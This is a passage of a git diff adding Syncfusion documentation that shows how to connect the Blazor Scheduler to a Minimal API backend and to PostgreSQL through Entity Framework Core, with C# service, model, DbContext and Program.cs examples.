+            Console.WriteLine($"Error updating appointment: {ex.Message}");
+            return false;
+        }
+    }
+
+    /// <summary>
+    /// Deletes an appointment via the API
+    /// </summary>
+    public async Task<bool> DeleteAppointmentAsync(int id)
+    {
+        try
+        {
+            var response = await _httpClient.DeleteAsync($"/api/appointments/{id}");
+            return response.IsSuccessStatusCode;
+        }
+        catch (Exception ex)
+        {
+            Console.WriteLine($"Error deleting appointment: {ex.Message}");
+            return false;
+        }
+    }
+}
+```
+
+Open the **Components/_Imports.razor** file and import the `BlazorSchedulerApp.Services` namespaces.
+
+```cshtml
+@using BlazorSchedulerApp.Services
+```
+
+### Step 7: Configure Application Services
+
+The `Program.cs` file must be updated to register required services, including Syncfusion Blazor components, HttpClient, CORS, and Razor components.This section configures the foundational services used across the Scheduler application.
+
+[Program.cs]
+
+```csharp
+using BlazorSchedulerApp.Components;
+using BlazorSchedulerApp.Models;
+using BlazorSchedulerApp.Services;
+using Microsoft.AspNetCore.Components;
+using Syncfusion.Blazor;
+
+var builder = WebApplication.CreateBuilder(args);
+
+// Add services to the container.
+builder.Services.AddRazorComponents()
+    .AddInteractiveServerComponents();
+
+// Add HttpClient for AppointmentService
+builder.Services.AddScoped(sp =>
+{
+    var navigationManager = sp.GetRequiredService<NavigationManager>();
+    return new HttpClient
+    {
+        BaseAddress = new Uri(navigationManager.BaseUri)
+    };
+});
+builder.Services.AddScoped<AppointmentService>();
+
+// Add Syncfusion Blazor service
+builder.Services.AddSyncfusionBlazor();
+
+// Configure CORS
+builder.Services.AddCors(options =>
+{
+    options.AddDefaultPolicy(policy =>
+    {
+        policy.AllowAnyOrigin()
+              .AllowAnyMethod()
+              .AllowAnyHeader();
+    });
+});
+
+var app = builder.Build();
+
+// In-memory data storage for appointments
+var appointments = new List<AppointmentData>
+{
+    new AppointmentData
+    {
+        Id = 1,
+        Subject = "Team Meeting",
+        Location = "Conference Room A",
+        StartTime = DateTime.Today.AddHours(10),
+        EndTime = DateTime.Today.AddHours(11),
+        Description = "Weekly team sync-up meeting"
+    },
+    new AppointmentData
+    {
+        Id = 2,
+        Subject = "Client Presentation",
+        Location = "Boardroom",
+        StartTime = DateTime.Today.AddDays(1).AddHours(14),
+        EndTime = DateTime.Today.AddDays(1).AddHours(16),
+        Description = "Quarterly review with client"
+    },
+    new AppointmentData
+    {
+        Id = 3,
+        Subject = "Project Planning",
+        Location = "Room 301",
+        StartTime = DateTime.Today.AddDays(2).AddHours(9),
+        EndTime = DateTime.Today.AddDays(2).AddHours(10).AddMinutes(30),
+        Description = "Planning session for new project"
+    }
+};
+
+// Configure the HTTP request pipeline.
+if (!app.Environment.IsDevelopment())
+{
+    app.UseExceptionHandler("/Error", createScopeForErrors: true);
+    app.UseHsts();
+}
+
+app.UseHttpsRedirection();
+app.UseAntiforgery();
+app.UseCors();
+```
+
+### Step 8: Create Minimal API Endpoints
+
+Update `Program.cs` to define Minimal API endpoints for CRUD operations.
+
+[Program.cs]
+
+```csharp
+// GET: Get all appointments
+app.MapGet("/api/appointments", () =>
+{
+    return Results.Ok(appointments);
+})
+.WithName("GetAppointments");
+
+// GET: Get appointment by ID
+app.MapGet("/api/appointments/{id}", (int id) =>
+{
+    var appointment = appointments.FirstOrDefault(a => a.Id == id);
+    return appointment is not null ? Results.Ok(appointment) : Results.NotFound();
+})
+.WithName("GetAppointmentById");
+
+// POST: Create new appointment
+app.MapPost("/api/appointments", (AppointmentData appointment) =>
+{
+    appointment.Id = appointments.Any() ? appointments.Max(a => a.Id) + 1 : 1;
+    appointments.Add(appointment);
+    return Results.Created($"/api/appointments/{appointment.Id}", appointment);
+})
+.WithName("CreateAppointment");
+
+// PUT: Update appointment
+app.MapPut("/api/appointments/{id}", (int id, AppointmentData updatedAppointment) =>
+{
+    var appointment = appointments.FirstOrDefault(a => a.Id == id);
+    if (appointment is null)
+        return Results.NotFound();
+
+    appointment.Subject = updatedAppointment.Subject;
+    appointment.Location = updatedAppointment.Location;
+    appointment.StartTime = updatedAppointment.StartTime;
+    appointment.EndTime = updatedAppointment.EndTime;
+    appointment.Description = updatedAppointment.Description;
+    appointment.IsAllDay = updatedAppointment.IsAllDay;
+    appointment.RecurrenceRule = updatedAppointment.RecurrenceRule;
+    appointment.RecurrenceID = updatedAppointment.RecurrenceID;
+    appointment.RecurrenceException = updatedAppointment.RecurrenceException;
+
+    return Results.Ok(appointment);
+})
+.WithName("UpdateAppointment");
+
+// DELETE: Delete appointment
+app.MapDelete("/api/appointments/{id}", (int id) =>
+{
+    var appointment = appointments.FirstOrDefault(a => a.Id == id);
+    if (appointment is null)
+        return Results.NotFound();
+
+    appointments.Remove(appointment);
+    return Results.NoContent();
+})
+.WithName("DeleteAppointment");
+
+// ============= End of Minimal API Endpoints =============
+
+app.MapStaticAssets();
+app.MapRazorComponents<App>()
+    .AddInteractiveServerRenderMode();
+
+app.Run();
+```
+
+**Minimal API Benefits:**
+
+- No controllers or routing configuration required
+- Lightweight and performant
+- Easy to understand and maintain
+- Perfect for small APIs within the same application
+
+
+### Step 9: Create the Scheduler Component
+
+Replace the contents of `Home.razor` with the following Blazor Scheduler component that provides full CRUD functionality.
+
+[Home.razor]
+
+```cshtml
+@page "/"
+@rendermode InteractiveServer
+@inject AppointmentService AppointmentService
+    
+<PageTitle>Appointment Scheduler</PageTitle>
+    
+<div class="scheduler-container">
+    
+    <SfSchedule TValue="AppointmentData" 
+                @ref="ScheduleRef"
+                Height="650px" 
+                @bind-SelectedDate="@CurrentDate"
+                @bind-CurrentView="@CurrentView"
+                ShowQuickInfo="true">
+            
+        <ScheduleViews>
+            <ScheduleView Option="View.Day"></ScheduleView>
+            <ScheduleView Option="View.Week"></ScheduleView>
+            <ScheduleView Option="View.WorkWeek"></ScheduleView>
+            <ScheduleView Option="View.Month"></ScheduleView>
+            <ScheduleView Option="View.Agenda"></ScheduleView>
+        </ScheduleViews>
+    
+        <ScheduleEventSettings TValue="AppointmentData" DataSource="@Appointments">
+        </ScheduleEventSettings>
+    
+        <ScheduleEvents TValue="AppointmentData" OnActionBegin="OnActionBegin">
+        </ScheduleEvents>
+    </SfSchedule>
+</div>
+    
+@code {
+    private SfSchedule<AppointmentData>? ScheduleRef;
+    private DateTime CurrentDate = DateTime.Today;
+    private View CurrentView = View.Week;
+    private List<AppointmentData> Appointments = new();
+
+    protected override async Task OnInitializedAsync()
+    {
+        await LoadAppointments();
+    }
+
+    private async Task LoadAppointments()
+    {
+        Appointments = await AppointmentService.GetAppointmentsAsync();
+        StateHasChanged();
+    }
+
+    private async Task OnActionBegin(ActionEventArgs<AppointmentData> args)
+    {
+        try
+        {
+            if (args.ActionType == ActionType.EventCreate && args.AddedRecords != null && args.AddedRecords.Any())
+            {
+                foreach (var appointment in args.AddedRecords)
+                {
+                    var created = await AppointmentService.CreateAppointmentAsync(appointment);
+                    if (created != null)
+                    {
+                        // Update the appointment with the server-generated ID
+                        appointment.Id = created.Id;
+                    }
+                }
+            }
+            else if (args.ActionType == ActionType.EventChange && args.ChangedRecords != null && args.ChangedRecords.Any())
+            {
+                foreach (var appointment in args.ChangedRecords)
+                {
+                    await AppointmentService.UpdateAppointmentAsync(appointment.Id, appointment);
+                }
+            }
+            else if (args.ActionType == ActionType.EventRemove && args.DeletedRecords != null && args.DeletedRecords.Any())
+            {
+                foreach (var appointment in args.DeletedRecords)
+                {
+                    await AppointmentService.DeleteAppointmentAsync(appointment.Id);
+                }
+            }
+        }
+        catch (Exception ex)
+        {
+            Console.WriteLine($"Error in OnActionBegin: {ex.Message}");
+            args.Cancel = true;
+        }
+    }
+
+}
+```
+
+**Key Implementation Details:**
+
+- **@rendermode InteractiveServer**: Enables server-side interactivity required for CRUD operations
+- **OnActionBegin**: Handles all CRUD operations by calling the AppointmentService
+- **OnPopupOpen**: Sets default values when opening the appointment editor
+- **Default Title Logic**: Automatically sets "Add Title" for appointments with empty subjects
+- **Error Handling**: Cancels the operation if an error occurs to prevent data inconsistency
+
+**Why Use OnActionBegin?**
+
+The `OnActionBegin` event fires before any Scheduler action completes, allowing you to:
+1. Intercept the operation and call your own API
+2. Add custom validation and business logic
+3. Handle errors gracefully
+4. Control exactly when and how data is saved
+
+
+### Step 10: Run the Application
+
+**Step 1: Build the Application**
+
+Ensure there are no compilation errors:
+
+```bash
+dotnet build
+```
+
+**Step 2: Run the Application**
+
+Start the application:
+
+```bash
+dotnet run
+```
+
+Or use watch mode for automatic reload during development:
+
+```bash
+dotnet watch
+```
+
+**Step 3: Access the Scheduler**
+
+The application will start at `http://localhost:5175` (or the port configured in your `launchSettings.json`).
+
+Open your browser and navigate to:
+```
+http://localhost:5175
+```
+
+
+
+## Output Preview
+![Frontend Preview](./images/blazor-minimalAPI-frontend.png)
+*Image illustrating the Syncfusion Blazor Scheduler with Minimal API*
+
+## Complete Sample Repository
+
+A complete, working sample implementation is available in the [GitHub repository.](https://github.com/SyncfusionExamples/How-to-integrate-Syncfusion-Blazor-Scheduler-with-MinimalAPI)
+
+## Troubleshooting
+
+### JavaScript Errors: 'sfBlazor' is undefined
+
+**Issue**: Errors like `Could not find 'sfBlazor.Toolbar.initialize'`
+
+**Fix**: Add Syncfusion script in `App.razor` before `</body>`:
+```html
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+```
+
+### API Returns 404 Not Found
+
+**Issue**: API calls fail with 404 errors
+
+**Fix**: 
+- Ensure endpoints are defined **before** `app.MapRazorComponents<App>()` in `Program.cs`
+- Verify routes match (e.g., `/api/appointments`)
+- Check browser console for actual URL
+
+### Service Injection Error
+
+**Issue**: `Cannot provide a value for property 'AppointmentService'`
+
+**Fix**: 
+- Register service in `Program.cs`: `builder.Services.AddScoped<AppointmentService>();`
+- Add `@inject AppointmentService AppointmentService` in `Scheduler.razor`
+- Rebuild project
+
+### Theme Not Applying
+
+**Issue**: Scheduler looks unstyled
+
+**Fix**:
+- Verify theme CSS in `App.razor`: `_content/Syncfusion.Blazor.Themes/tailwind3.css`
+- Clear browser cache
+- Check Syncfusion.Blazor.Themes package is installed
+
+To learn more about the functionality of the Schedule component, refer to the [documentation](https://blazor.syncfusion.com/documentation/scheduler/getting-started).
diff --git a/blazor/scheduler/postgresql.md b/blazor/scheduler/postgresql.md
new file mode 100644
index 0000000000..83fe1f1a7a
--- /dev/null
+++ b/blazor/scheduler/postgresql.md
@@ -0,0 +1,1059 @@
+---
+layout: post
+title: PostgreSQL Data Binding in Blazor Scheduler Component | Syncfusion
+description: Learn about consuming data from PostgreSQL Server and binding it to Syncfusion Blazor Scheduler Component, and performing CRUD operations.
+platform: Blazor
+control: Scheduler
+documentation: ug
+---
+# Connecting PostgreSQL to Blazor Scheduler Using Entity Framework
+
+The [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component](https://www.syncfusion.com/blazor-components/blazor-scheduler) supports binding data from a PostgreSQL database using Entity Framework Core (EF Core). This modern approach provides a more maintainable and type-safe alternative to raw SQL queries for managing appointments and calendar events.
+
+## What is Entity Framework Core?
+
+Entity Framework Core (EF Core) is a software tool that simplifies database operations in .NET applications. It serves as a bridge between C# code and databases like PostgreSQL.The key benefits of Entity Framework Core are:
+
+**Automatic SQL Generation**: Entity Framework Core generates optimized SQL queries automatically, eliminating the need to write raw SQL code.
+
+**Type Safety**: Work with strongly-typed objects instead of raw SQL strings, reducing errors.
+
+**Built-in Security**: Automatic parameterization prevents SQL injection attacks.
+
+**Version Control for Databases**: Manage database schema changes version-by-version through migrations.
+
+**Familiar Syntax**: Use LINQ (Language Integrated Query) syntax, which is more intuitive than raw SQL strings.
+
+## What is Npgsql Entity Framework Core Provider?
+
+The `Npgsql.EntityFrameworkCore.PostgreSQL` package is the official Entity Framework Core provider for PostgreSQL. It acts as a bridge between Entity Framework Core and PostgreSQL, allowing applications to read, write, update, and delete appointment data in a PostgreSQL database.
+
+## Prerequisites
+
+Ensure the following software and packages are installed before proceeding:
+
+| Software/Package | Version | Purpose |
+|-----------------|---------|---------|
+| Visual Studio 2026 | 18.0 or later | Development IDE with Blazor workload |
+| .NET SDK | net10.0 or compatible | Runtime and build tools |
+| PostgreSQL Server | 12 or later | Database server |
+| pgAdmin 4 | Latest | PostgreSQL GUI management tool |
+| Syncfusion.Blazor.Schedule | Latest Version | Scheduler and UI components |
+| Syncfusion.Blazor.Themes | Latest Version | Styling for Scheduler components |
+| Npgsql.EntityFrameworkCore.PostgreSQL | 10.0.2 or later | PostgreSQL provider for Entity Framework Core |
+| Microsoft.EntityFrameworkCore.Design | 10.0.0 or later | Design-time tools for migrations |
+
+## Setting Up the PostgreSQL Environment for Entity Framework Core
+
+### Step 1: Create a Blazor Web App
+
+Create a **Blazor Web App** using Visual Studio 2026 or .NET CLI.
+
+**Using Visual Studio 2026 or later:**
+1. Open Visual Studio 2026
+2. Click **Create a new project**
+3. Search for **Blazor Web App** template
+4. Configure project name as **BlazorSchedulerApp**
+5. Select **.NET 10.0** as the target framework
+6. Set **Interactive render mode** to **Server**
+7. Set **Interactivity location** to **Per page/component**
+8. Click **Create**
+
+**Using .NET CLI:**
+```bash
+dotnet new blazor -n BlazorSchedulerApp --interactivity Server
+cd BlazorSchedulerApp
+```
+
+
+> Configure the Interactive render mode to **InteractiveServer** during project creation as the Scheduler requires interactivity for CRUD operations.
+
+### Step 2: Install Required NuGet Packages
+
+Before installing the necessary NuGet packages, a new Blazor Web Application must be created using the default template. This template automatically generates essential starter files—such as `Program.cs`, `appsettings.json`, the `wwwroot` folder, and the `Components` folder.
+
+For this guide, a Blazor application named **BlazorSchedulerApp** has been created. Once the project is set up, the next step involves installing the required NuGet packages. NuGet packages are software libraries that add functionality to the application. These packages enable Entity Framework Core and PostgreSQL integration.
+
+#### Method 1: Using Package Manager Console
+
+1. Open Visual Studio 2026.
+2. Navigate to **Tools** → **NuGet Package Manager** → **Package Manager Console**.
+3. Run the following commands:
+
+    ```powershell
+    Install-Package Syncfusion.Blazor.Schedule
+    Install-Package Syncfusion.Blazor.Themes
+    Install-Package Npgsql.EntityFrameworkCore.PostgreSQL 
+    Install-Package Microsoft.EntityFrameworkCore.Design
+    ```
+
+#### Method 2: Using .NET CLI
+
+Open a terminal in the project directory and run:
+
+```bash
+dotnet add package Syncfusion.Blazor.Schedule
+dotnet add package Syncfusion.Blazor.Themes
+dotnet add package Npgsql.EntityFrameworkCore.PostgreSQL
+dotnet add package Microsoft.EntityFrameworkCore.Design
+```
+
+#### Project File Reference
+
+The installed packages are reflected in the `BlazorSchedulerApp.csproj` file:
+
+```xml
+<ItemGroup>
+    <PackageReference Include="Npgsql.EntityFrameworkCore.PostgreSQL" Version="10.0.2" />
+    <PackageReference Include="Microsoft.EntityFrameworkCore.Design" Version="10.0.0">
+      <IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
+      <PrivateAssets>all</PrivateAssets>
+    </PackageReference>
+    <PackageReference Include="Syncfusion.Blazor.Schedule" Version="*" />
+    <PackageReference Include="Syncfusion.Blazor.Themes" Version="*" />
+</ItemGroup>
+```
+
+
+All required packages are now installed.
+
+> **Note**: After installing packages, build the project to ensure all dependencies are restored correctly: `dotnet build`
+
+### Step 3: Create the Data Model
+
+A data model is a C# class that represents the structure of a database table. This model defines the properties that correspond to the columns in the `Appointments` table.
+
+#### Instructions:
+
+1. Create a new folder named **Models** in the Blazor application project.
+2. Inside the **Models** folder, create a new file named `Appointment.cs`.
+3. Define the `Appointment` class with the following code:
+
+    [Appointment.cs]
+
+    ```csharp
+    using System.ComponentModel.DataAnnotations;
+
+    namespace BlazorSchedulerApp.Models
+    {
+        /// <summary>
+        /// Represents an appointment record mapped to the 'Appointments' table in the database.
+        /// This model defines the structure of appointment-related data used throughout the application.
+        /// </summary>
+        public class Appointment
+        {
+            /// <summary>
+            /// Gets or sets the unique identifier for the appointment record.
+            /// This is the primary key and auto-incremented by the database.
+            /// </summary>
+            [Key]
+            public int Id { get; set; }
+
+            /// <summary>
+            /// Gets or sets the subject or title of the appointment.
+            /// Maximum length of 200 characters.
+            /// </summary>
+            [StringLength(200)]
+            public string Subject { get; set; } = string.Empty;
+
+            /// <summary>
+            /// Gets or sets the detailed description of the appointment.
+            /// Maximum length of 500 characters.
+            /// </summary>
+            [StringLength(500)]
+            public string Description { get; set; } = string.Empty;
+
+            /// <summary>
+            /// Gets or sets the start date and time of the appointment.
+            /// This field is required.
+            /// </summary>
+            [Required]
+            public DateTime StartTime { get; set; }
+
+            /// <summary>
+            /// Gets or sets the end date and time of the appointment.
+            /// This field is required.
+            /// </summary>
+            [Required]
+            public DateTime EndTime { get; set; }
+
+            /// <summary>
+            /// Gets or sets the location where the appointment takes place.
+            /// Maximum length of 200 characters.
+            /// </summary>
+            [StringLength(200)]
+            public string Location { get; set; } = string.Empty;
+
+            /// <summary>
+            /// Gets or sets a value indicating whether the appointment spans the entire day.
+            /// </summary>
+            public bool IsAllDay { get; set; }
+
+            /// <summary>
+            /// Gets or sets the recurrence rule for repeating appointments.
+            /// Uses iCalendar RRULE format (e.g., "FREQ=DAILY;INTERVAL=1").
+            /// Maximum length of 50 characters.
+            /// </summary>
+            [StringLength(50)]
+            public string RecurrenceRule { get; set; } = string.Empty;
+
+            /// <summary>
+            /// Gets or sets the ID of the parent appointment in a recurrence series.
+            /// Links recurring appointment instances to their parent.
+            /// </summary>
+            public int? RecurrenceID { get; set; }
+
+            /// <summary>
+            /// Gets or sets the exception dates for recurring appointments.
+            /// Stores dates when the recurring appointment should not occur.
+            /// </summary>
+            public string? RecurrenceException { get; set; }
+
+            /// <summary>
+            /// points to parent series Id 
+            /// </summary>
+            public int? FollowingID { get; set; }
+        }
+    }
+    ```
+
+#### Explanation:
+
+- The `[Key]` attribute marks the `Id` property as the primary key (a unique identifier for each record).
+- Each property represents a column in the database table.
+- The `?` symbol indicates that a property is nullable (can be empty).
+- The model includes comprehensive XML documentation for each property.
+- `StringLength` attributes enforce maximum character limits for text fields.
+- The model supports recurring appointments through `RecurrenceRule`, `RecurrenceID`, and `RecurrenceException` properties.
+
+The data model has been successfully created.
+
+> **Note**: The `Subject` property does not have the `[Required]` attribute to allow empty titles. The service layer will provide a default value "Add Title" if the subject is empty.
+
+### Step 4: Configure the DbContext
+
+A `DbContext` is a special class that manages the connection between the application and the PostgreSQL database. It handles all database operations such as saving, updating, deleting, and retrieving appointment data.
+
+#### Instructions:
+
+1. Create a new folder named **Data** in the Blazor application project.
+2. Inside the **Data** folder, create a new file named `ApplicationDbContext.cs`.
+3. Define the `ApplicationDbContext` class with the following code:
+
+    [ApplicationDbContext.cs]
+
+    ```csharp
+
+    using Microsoft.EntityFrameworkCore;
+    using BlazorSchedulerApp.Models;
+
+    namespace BlazorSchedulerApp.Data
+    {
+        /// <summary>
+        /// DbContext for Appointment entity
+        /// Manages database connections and entity configurations for the Appointment Scheduler
+        /// This context bridges the application with PostgreSQL database
+        /// </summary>
+        public class ApplicationDbContext : DbContext
+        {
+            /// <summary>
+            /// Initializes a new instance of the ApplicationDbContext class.
+            /// </summary>
+            /// <param name="options">The options to be used by a DbContext</param>
+            public ApplicationDbContext(DbContextOptions<ApplicationDbContext> options)
+                : base(options)
+            {
+            }
+
+            /// <summary>
+            /// Gets or sets the DbSet for Appointment entities.
+            /// Represents the collection of all appointments in the database.
+            /// </summary>
+            public DbSet<Appointment> Appointments { get; set; } = null!;
+
+            /// <summary>
+            /// Configures the entity mappings, constraints, and database-specific configurations.
+            /// This method is called by Entity Framework Core during model creation.
+            /// </summary>
+            /// <param name="modelBuilder">Provides a simple API for configuring the EF model</param>
+            protected override void OnModelCreating(ModelBuilder modelBuilder)
+            {
+                base.OnModelCreating(modelBuilder);
+
+                // Configure the Appointment entity
+                modelBuilder.Entity<Appointment>(entity =>
+                {
+                    // Define primary key
+                    entity.HasKey(e => e.Id);
+
+                    // Configure string properties with max length constraints
+                    entity.Property(e => e.Subject)
+                        .IsRequired()
+                        .HasMaxLength(200);
+
+                    entity.Property(e => e.Description)
+                        .HasMaxLength(500);
+
+                    entity.Property(e => e.Location)
+                        .HasMaxLength(200);
+
+                    // Configure required date/time properties
+                    entity.Property(e => e.StartTime)
+                        .IsRequired();
+
+                    entity.Property(e => e.EndTime)
+                        .IsRequired();
+
+                    // Configure recurrence-related properties
+                    entity.Property(e => e.RecurrenceRule)
+                        .HasMaxLength(50);
+                    // Helpful index: find all edited occurrences for a parent quickly
+                    entity.HasIndex(e => e.RecurrenceID);
+
+                    entity.Property(x => x.FollowingID);
+
+                    entity.HasIndex(x => x.FollowingID);
+                });
+            }
+        }
+    }
+    ```
+
+#### Explanation:
+
+- The `DbContext` class inherits from Entity Framework's `DbContext` base class.
+- The `Appointments` property represents the `Appointments` table in the database.
+- The `OnModelCreating` method configures how the database columns should behave (maximum length, required/optional).
+- By convention, Entity Framework Core will create a table named `Appointments` based on the `DbSet<Appointment>` property name.
+
+#### Why the DbContext is Required:
+
+1. It connects the application to the PostgreSQL database.
+2. It manages all database operations.
+3. It maps C# models to actual database tables.
+4. It configures how data should be validated and stored.
+
+Without this class, Entity Framework Core will not know where to save data or how to interact with the `Appointments` table. The DbContext has been successfully configured.
+
+### Step 5: Configure the Connection String
+
+A connection string contains the information needed to connect the application to the PostgreSQL database, including the server address, database name, and authentication credentials.
+
+#### Instructions:
+
+1. Open the `appsettings.json` file in the project root.
+2. Update the `ConnectionStrings` section with the PostgreSQL connection details:
+
+    ```json
+    {
+      "ConnectionStrings": {
+        "DefaultConnection": "Host=localhost;Port=5432;Database=SchedulerEvents;Username=postgres;Password=your_password"
+      },
+      "Logging": {
+        "LogLevel": {
+          "Default": "Information",
+          "Microsoft.AspNetCore": "Warning"
+        }
+      },
+      "AllowedHosts": "*"
+    }
+    ```
+
+
+#### Connection String Components:
+
+| Component | Description |
+|-----------|-------------|
+| Host | The address of the PostgreSQL server (localhost for local development) |
+| Port | The port number on which PostgreSQL is running (default is 5432) |
+| Database | The database name (in this case, SchedulerEvents) |
+| Username | The PostgreSQL username (default is postgres) |
+| Password | The password for the PostgreSQL user account |
+
+> **Important**: Replace `your_password` with your actual PostgreSQL password.
+
+> **Security Note**: For production environments, store sensitive credentials in environment variables or Azure Key Vault instead of storing them in `appsettings.json`. Example: `Password=${DB_PASSWORD}` and set the environment variable `DB_PASSWORD` on the deployment server.
+
+The database connection string has been configured successfully.
+
+### Step 6: Create the Service Class
+
+A service class is an intermediary layer that handles all database operations. This class uses Entity Framework Core to communicate with the PostgreSQL database.
+
+#### Instructions:
+
+1. Create a new folder named **Services** in the Blazor application project.
+2. Inside the **Services** folder, create a new file named `AppointmentService.cs`.
+3. Define the `AppointmentService` class with the following code:
+
+    [AppointmentService.cs]
+
+    ```csharp
+    using Microsoft.EntityFrameworkCore;
+    using BlazorSchedulerApp.Data;
+    using BlazorSchedulerApp.Models;
+
+    namespace BlazorSchedulerApp.Services
+    {
+        /// <summary>
+        /// Service class for Appointment entity using Entity Framework Core
+        /// Handles all CRUD operations and business logic for appointments
+        /// Communicates with PostgreSQL database through ApplicationDbContext
+        /// </summary>
+        public class AppointmentService
+        {
+            private readonly ApplicationDbContext _context;
+
+            public AppointmentService(ApplicationDbContext context)
+            {
+                _context = context;
+            }
+
+            /// <summary>
+            /// Retrieves all appointments from the database
+            /// </summary>
+            /// <returns>List of all appointments</returns>
+            public async Task<List<Appointment>> GetAllAppointmentsAsync()
+            {
+                try
+                {
+                    return await _context.Appointments.ToListAsync();
+                }
+                catch (Exception ex)
+                {
+                    Console.WriteLine($"Error getting appointments: {ex.Message}");
+                    return new List<Appointment>();
+                }
+            }
+
+            /// <summary>
+            /// Retrieves a single appointment by ID
+            /// </summary>
+            /// <param name="id">The appointment ID to retrieve</param>
+            /// <returns>The appointment if found, otherwise null</returns>
+            public async Task<Appointment?> GetAppointmentByIdAsync(int id)
+            {
+                try
+                {
+                    return await _context.Appointments.FindAsync(id);
+                }
+                catch (Exception ex)
+                {
+                    Console.WriteLine($"Error getting appointment: {ex.Message}");
+                    return null;
+                }
+            }
+
+            /// <summary>
+            /// Creates a new appointment in the database
+            /// </summary>
+            /// <param name="appointment">The appointment model to add</param>
+            /// <returns>The created appointment with database-generated ID</returns>
+            public async Task<Appointment> CreateAppointmentAsync(Appointment appointment)
+            {
+                try
+                {
+                    // Reset Id to 0 to let database generate it
+                    appointment.Id = 0;
+
+                    // Provide default subject if empty
+                    if (string.IsNullOrWhiteSpace(appointment.Subject))
+                    {
+                        appointment.Subject = "Add Title";
+                    }
+
+                    _context.Appointments.Add(appointment);
+                    await _context.SaveChangesAsync();
+                    return appointment;
+                }
+                catch (Exception ex)
+                {
+                    Console.WriteLine($"Error creating appointment: {ex.Message}");
+                    throw;
+                }
+            }
+
+            /// <summary>
+            /// Updates an existing appointment in the database
+            /// </summary>
+            /// <param name="appointment">The appointment model with updated values</param>
+            /// <returns>The updated appointment</returns>
+            public async Task<Appointment> UpdateAppointmentAsync(Appointment appointment)
+            {
+                try
+                {
+                    // Provide default subject if empty
+                    if (string.IsNullOrWhiteSpace(appointment.Subject))
+                    {
+                        appointment.Subject = "Add Title";
+                    }
+
+                    // Detach any existing tracked entity with same Id to avoid tracking conflicts
+                    var existingEntity = _context.Appointments.Local
+                        .FirstOrDefault(e => e.Id == appointment.Id);
+                    if (existingEntity != null)
+                    {
+                        _context.Entry(existingEntity).State = EntityState.Detached;
+                    }
+
+                    _context.Entry(appointment).State = EntityState.Modified;
+                    await _context.SaveChangesAsync();
+                    return appointment;
+                }
+                catch (Exception ex)
+                {
+                    Console.WriteLine($"Error updating appointment: {ex.Message}");
+                    throw;
+                }
+            }
+
+            /// <summary>
+            /// Deletes an appointment from the database
+            /// </summary>
+            /// <param name="id">The appointment ID to delete</param>
+            /// <returns>True if deletion was successful, otherwise false</returns>
+            public async Task<bool> DeleteAppointmentAsync(int id)
+            {
+                try
+                {
+                    var appointment = await _context.Appointments.FindAsync(id);
+                    if (appointment != null)
+                    {
+                        _context.Appointments.Remove(appointment);
+                        await _context.SaveChangesAsync();
+                        return true;
+                    }
+                    return false;
+                }
+                catch (Exception ex)
+                {
+                    Console.WriteLine($"Error deleting appointment: {ex.Message}");
+                    return false;
+                }
+            }
+        }
+    }
+    ```
+    
+#### Service Layer Benefits:
+
+- Encapsulates database logic away from UI components
+- Provides error handling and logging
+- Allows for easier testing and maintenance
+- Handles Entity Framework change tracking issues
+
+#### Error Handling in Service:
+
+Each method includes try-catch blocks to:
+- Log errors to console for debugging
+- Prevent application crashes
+- Return safe default values (empty list, null, false)
+
+The service class has been created successfully.
+
+### Step 7: Register Services in Program.cs
+
+The `Program.cs` file is where application services are registered and configured. This file must be updated to enable Entity Framework Core with PostgreSQL and the service pattern.
+
+#### Instructions:
+
+1. Open the `Program.cs` file at the project root.
+2. Add the following code:
+
+    [Program.cs]
+
+    ```csharp
+    using BlazorSchedulerApp.Components;
+    using BlazorSchedulerApp.Data;
+    using BlazorSchedulerApp.Services;
+    using Microsoft.EntityFrameworkCore;
+    using Syncfusion.Blazor;
+
+    // Configure AppContext to handle DateTime timestamps for PostgreSQL
+
+    AppContext.SetSwitch("Npgsql.EnableLegacyTimestampBehavior", true);
+
+    var builder = WebApplication.CreateBuilder(args);
+
+    // Add services to the container
+
+    builder.Services.AddRazorComponents()
+        .AddInteractiveServerComponents();
+
+    // Register Syncfusion Blazor service
+
+    builder.Services.AddSyncfusionBlazor();
+
+    // Get connection string from appsettings.json
+
+    var connectionString = builder.Configuration.GetConnectionString("DefaultConnection");
+
+    if (string.IsNullOrEmpty(connectionString))
+    {
+        throw new InvalidOperationException("Connection string 'DefaultConnection' not found in configuration.");
+    }
+
+    builder.Services.AddDbContext<ApplicationDbContext>(options =>
+    {
+        options.UseNpgsql(connectionString);
+
+        if (builder.Environment.IsDevelopment())
+        {
+            options.EnableSensitiveDataLogging();
+            options.EnableDetailedErrors();
+        }
+    });
+
+    builder.Services.AddScoped<AppointmentService>();
+
+    var app = builder.Build();
+
+    AppServices.Root = app.Services;
+
+    // Configure the HTTP request pipeline
+    if (!app.Environment.IsDevelopment())
+    {
+        app.UseExceptionHandler("/Error", createScopeForErrors: true);
+        app.UseHsts();
+    }
+
+    app.UseHttpsRedirection();
+    app.UseAntiforgery();
+
+    app.MapStaticAssets();
+    app.MapRazorComponents<App>()
+        .AddInteractiveServerRenderMode();
+
+    app.Run();
+
+    public static class AppServices
+    {
+        public static IServiceProvider? Root { get; set; }
+    }
+    ```
+
+#### Explanation:
+
+- **`AppContext.SetSwitch("Npgsql.EnableLegacyTimestampBehavior", true)`**: Prevents PostgreSQL from automatically converting DateTime to UTC, avoiding timezone offset issues.
+- **`AddSyncfusionBlazor()`**: Registers Syncfusion Blazor components (Scheduler, themes, etc.).
+- **`AddDbContext<ApplicationDbContext>`**: Registers the DbContext with PostgreSQL as the database provider using `UseNpgsql()`.
+- **Connection String Validation**: Ensures the connection string is configured before attempting to connect.
+- **`EnableSensitiveDataLogging()`**: Enabled in development to log detailed information about database operations (useful for debugging).
+- **`EnableDetailedErrors()`**: Provides more detailed error messages during development.
+- **`AddScoped<AppointmentService>`**: Registers the service as a scoped service, creating a new instance for each HTTP request.
+- **`AddRazorComponents()` and `AddInteractiveServerComponents()`**: Enables Blazor server-side rendering with interactive components.
+- **`AppServices.Root`**: app.Services: Stores the application's root service provider so the CustomAdaptor can create new DI scopes for resolving services at runtime.
+
+The service registration has been completed successfully.
+
+## Integrating Syncfusion Blazor Scheduler
+
+### Step 1: Install and Configure Blazor Scheduler Components
+
+Syncfusion is a library that provides pre-built UI components like Scheduler, which is used to display and manage calendar events and appointments.
+
+#### Instructions:
+
+1. The `Syncfusion.Blazor.Schedule` package was installed in Step 2 of the previous section.
+
